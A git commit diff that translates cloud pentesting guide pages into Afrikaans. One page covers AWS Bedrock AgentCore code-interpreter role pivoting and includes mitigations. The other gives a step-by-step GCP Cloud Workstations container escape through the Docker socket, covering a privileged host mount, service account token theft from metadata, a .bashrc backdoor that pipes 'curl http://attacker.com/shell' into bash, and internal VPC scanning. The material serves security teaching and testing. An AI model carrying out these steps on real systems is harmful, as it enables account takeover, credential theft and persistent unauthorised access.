Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat

This commit is contained in:
Translator
2026-02-13 10:33:24 +00:00
parent a8716eb935
commit a90bfd6984
2 changed files with 35 additions and 35 deletions
@@ -6,32 +6,32 @@
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter is 'n bestuurde uitvoeringsomgewing. **Custom Code Interpreters** kan gekonfigureer word met 'n **`executionRoleArn`** wat “permissions vir die code interpreter verskaf om toegang tot AWS services te kry”.
AgentCore Code Interpreter is 'n bestuurde uitvoeringsomgewing. **Custom Code Interpreters** kan gekonfigureer word met 'n **`executionRoleArn`** wat “toestemmings verskaf vir die code interpreter om toegang tot AWS services te kry”.
As 'n **IAM-prinsipaal met laer regte** 'n Code Interpreter-sessie kan **start + invoke** wat gekonfigureer is met 'n **meer-geprivilegieerde execution role**, kan die caller effektief **pivot in die execution role se permissions** (laterale beweging / privilege escalation afhangend van die rol se omvang).
Indien 'n **lower-privileged IAM principal** 'n Code Interpreter-sessie kan **start + invoke** wat gekonfigureer is met 'n **more privileged execution role**, kan die oproeper effektief **pivot into the execution roles permissions** (lateral movement / privilege escalation, afhangende van die rol se omvang).
> [!NOTE]
> Dit is tipies 'n **miskonfigurasie / oormatige permissions**-kwessie (om wye permissions aan die interpreter execution role te gee en/of om breë invoke-toegang te verleen).
> AWS waarsku uitdruklik om privilege escalation te vermy deur te verseker dat execution roles **gelyk of minder** privilegies het as identiteite wat toegelaat word om te invoke.
> Dit is gewoonlik 'n **misconfiguration / excessive permissions**-kwessie (om wye toegangsregte aan die interpreter execution role te verleen en/of breë invoke-toegang te gee).
> AWS waarsku uitdruklik om privilege escalation te vermy deur te verseker dat execution roles **equal or fewer** privileges het as die identiteite wat toegelaat word om te invoke.
#### Preconditions (common misconfiguration)
#### Voorvereistes (algemene miskonfigurasie)
- 'n **custom code interpreter** bestaan met 'n oor-geprivilegieerde **execution role** (bv: toegang tot sensitiewe S3/Secrets/SSM of IAM-admin-like capabilities).
- 'n Gebruiker (developer/auditor/CI identity) het toestemming om:
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
- (Optional) The user can also create interpreters: `bedrock-agentcore:CreateCodeInterpreter` (lets them create a new interpreter configured with an execution role, depending on org guardrails).
- 'n **custom code interpreter** bestaan met 'n oor-privilegieerde **execution role** (bv.: toegang tot sensitiewe S3/Secrets/SSM of IAM-admin-agtige bevoegdhede).
- 'n gebruiker (developer/auditor/CI identity) het permissies om:
- start sessies: `bedrock-agentcore:StartCodeInterpreterSession`
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
- (Opsioneel) Die gebruiker kan ook interpreters skep: `bedrock-agentcore:CreateCodeInterpreter` (stel hulle in staat om 'n nuwe interpreter te skep wat gekonfigureer is met 'n execution role, afhangende van org guardrails).
#### Recon (identify custom interpreters and execution role usage)
Lys interpreters (control-plane) en inspekteer hul konfigurasie:
Lys interpreters (control-plane) en ondersoek hul konfigurasie:
```bash
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
````
> Die create-code-interpreter command ondersteun `--execution-role-arn` wat bepaal watter AWS-magtigings die interpreter sal hê.
> Die create-code-interpreter command ondersteun `--execution-role-arn`, wat bepaal watter AWS-toestemmings die interpreter sal hê.
#### Stap 1 - Begin 'n sessie (dit gee 'n `sessionId` terug, nie 'n interaktiewe shell nie)
#### Stap 1 - Begin 'n sessie (dit gee `sessionId` terug, nie 'n interaktiewe shell nie)
```bash
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
@@ -45,7 +45,7 @@ echo "SessionId: $SESSION_ID"
```
#### Stap 2 - Roep kode-uitvoering aan (Boto3 of signed HTTPS)
Daar is **geen interaktiewe python shell** vanaf `start-code-interpreter-session` nie. Uitvoering gebeur via **InvokeCodeInterpreter**.
Daar is **geen interaktiewe python shell** vanaf `start-code-interpreter-session`. Uitvoering gebeur via **InvokeCodeInterpreter**.
**Opsie A - Boto3 voorbeeld (voer Python uit + verifieer identiteit):**
```python
@@ -68,9 +68,9 @@ arguments={
for event in resp.get("stream", []):
print(event)
```
As die interpreter gekonfigureer is met 'n execution role, sal die uitset van `sts:GetCallerIdentity()` daardie role se identiteit weerspieël (nie die low-priv caller nie), wat die pivot demonstreer.
As die interpreter gekonfigureer is met 'n execution role, behoort die `sts:GetCallerIdentity()` uitset daardie rol se identiteit te weerspieël (nie die low-priv caller nie), wat die pivot aandui.
**Opsie B - Gesigneerde HTTPS-oproep (awscurl):**
**Opsie B - Ondertekende HTTPS-oproep (awscurl):**
```bash
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
@@ -90,15 +90,15 @@ awscurl -X POST \
#### Impak
* **Lateral movement** na watter AWS-toegang die interpreter execution role ook al het.
* **Privilege escalation** as die interpreter execution role meer bevoegdhede het as die caller.
* Moeiliker opsporing as CloudTrail data events vir interpreter invocations nie geaktiveer is nie (invocations mag dalk standaard nie aangeteken word nie, afhangend van konfigurasie).
* **Privilege escalation** indien die interpreter execution role meer voorregte het as die caller.
* Moeilikere opsporing indien CloudTrail data events vir interpreter invocations nie geaktiveer is nie (invocations mag nie standaard gelog word nie, afhangend van die konfigurasie).
#### Mitigasies / Verharding
#### Versagtingsmaatreëls / Hardening
* **Least privilege** op die interpreter `executionRoleArn` (behandel dit soos Lambda execution roles / CI roles).
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) en wie sessies kan begin.
* Use **SCPs** om InvokeCodeInterpreter te weier behalwe vir goedgekeurde agent runtime roles (org-level enforcement kan nodig wees).
* Skakel toepaslike **CloudTrail data events** vir AgentCore waar toepaslik in; waarsku oor onverwagte invocations en sessie-aanmaak.
* Gebruik **SCPs** om InvokeCodeInterpreter te weier behalwe vir goedgekeurde agent runtime roles (org-level enforcement kan nodig wees).
* Skakel toepaslike **CloudTrail data events** vir AgentCore in waar van toepassing; waarsku op onverwagte invocations en sessie-creation.
## References
@@ -3,20 +3,20 @@
### Container Breakout via Docker Socket (Container -> VM -> Project)
Die primêre privilege-escalasiepad in Cloud Workstations spruit voort uit die behoefte om **Docker-in-Docker (DinD)** workflows vir ontwikkelaars te ondersteun. Wanneer die workstation-konfigurasie die Docker socket mount of privileged containers toelaat (ʼn algemene konfigurasie), kan n aanvaller binne die workstation-container na die onderliggende Compute Engine VM ontsnap en die service account token steel.
Die primêre privilege-escalasie-pad in Cloud Workstations spruit voort uit die behoefte om **Docker-in-Docker (DinD)** workflows vir ontwikkelaars te ondersteun. Wanneer die workstation-konfigurasie die Docker socket mount of geprivilegieerde containers toelaat (n algemene konfigurasie), kan n aanvaller binne die workstation-container na die onderliggende Compute Engine VM ontsnap en die diensrekening-token steel.
**Vereistes:**
- Toegang tot n Cloud Workstation-terminal (via SSH, gekompromitteerde sessie, of gesteelde credentials)
- Die workstation-konfigurasie moet /var/run/docker.sock mount of privileged containers aktiveer
- Toegang tot n Cloud Workstation-terminal (via SSH, gekompromitteerde sessie, of gesteelde kredensiale)
- Die workstation-konfigurasie moet `/var/run/docker.sock` mount of geprivilegieerde containers toelaat
**Argitektuur konteks:** Die workstation is n container (Laag 3) wat op n Docker/Containerd runtime (Laag 2) op n GCE VM (Laag 1) loop. Die Docker socket gee direkte toegang tot die host se container runtime.
**Argitektuurkonteks:** Die workstation is n container (Laag 3) wat op n Docker/Containerd runtime (Laag 2) op n GCE VM (Laag 1) loop. Die Docker socket gee direkte toegang tot die gasheer se container runtime.
> [!NOTE]
> Die tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) outomatiseer die volledige container escape en gee jou n root shell op die host VM.
> Die tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatiseer die volledige container escape en plaas jou in n root-shell op die gasheer-VM.
<details>
<summary>Stap 1: Kontroleer vir Docker socket</summary>
<summary>Stap 1: Kontroleer die Docker-socket</summary>
```bash
# Verify the Docker socket is available
ls -l /var/run/docker.sock
@@ -26,9 +26,9 @@ ls -l /var/run/docker.sock
<details>
<summary>Stap 2: Ontsnap na die host VM filesystem</summary>
<summary>Stap 2: Ontsnap na die gasheer VM-lêerstelsel</summary>
Ons launch 'n privileged container en mount die host se root directory na `/mnt/host`. Ons deel ook die host se network en PID namespace om sigbaarheid te maksimeer.
Ons begin 'n bevoorregte container en koppel die gasheer se wortelgids aan `/mnt/host`. Ons deel ook die gasheer se netwerk en PID-naamruimte om sigbaarheid te maksimeer.
```bash
# Spawn a privileged container mounting the host's root filesystem
docker run -it --rm --privileged --net=host --pid=host \
@@ -61,16 +61,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
</details>
> [!CAUTION]
> **Check the Scopes!**
> Alhoewel die aangehegte Service Account **Editor** is, kan die VM deur access scopes beperk wees.
> **Kontroleer die Scopes!**
> Selfs as die aangekoppelde Service Account **Editor** is, kan die VM deur toegangsskope beperk wees.
> As jy `https://www.googleapis.com/auth/cloud-platform` sien, het jy volle toegang.
> As jy slegs `logging.write` en `monitoring.write` sien, is jy beperk tot die **Network Pivot** en **Persistence** vectors hieronder.
> As jy slegs `logging.write` en `monitoring.write` sien, is jy beperk tot die **Network Pivot** en **Persistence** vektore hieronder.
<details>
<summary>Stap 4: Bereik Persistence (Backdoor the User)</summary>
<summary>Stap 4: Achieve Persistence (Backdoor the User)</summary>
Cloud Workstations mount a persistent disk to `/home/user`. Omdat die container user (gewoonlik `user`, UID 1000) ooreenstem met die host user (UID 1000), kan jy na die host se home directory skryf. Dit laat jou toe om die environment te backdoor, selfs al word die workstation container hergebou.
Cloud Workstations koppel 'n persistent disk aan `/home/user`. Omdat die container user (gewoonlik `user`, UID 1000) ooreenstem met die host user (UID 1000), kan jy na die host se tuisgids skryf. Dit stel jou in staat om die omgewing te backdoor selfs al word die workstation container herbou.
```bash
# Check if you can write to the host's persistent home
ls -la /mnt/host/home/user/
@@ -85,7 +85,7 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
Aangesien jy die host network namespace deel (`--net=host`), is jy nou 'n trusted node op die VPC. Jy kan scan vir interne dienste wat toegang toelaat gebaseer op IP whitelisting.
Aangesien jy die host network namespace (`--net=host`) deel, is jy nou 'n trusted node op die VPC. Jy kan scan vir interne dienste wat toegang toelaat gebaseer op IP whitelisting.
```bash
# Install scanning tools on the host (if internet access allows)
apk add nmap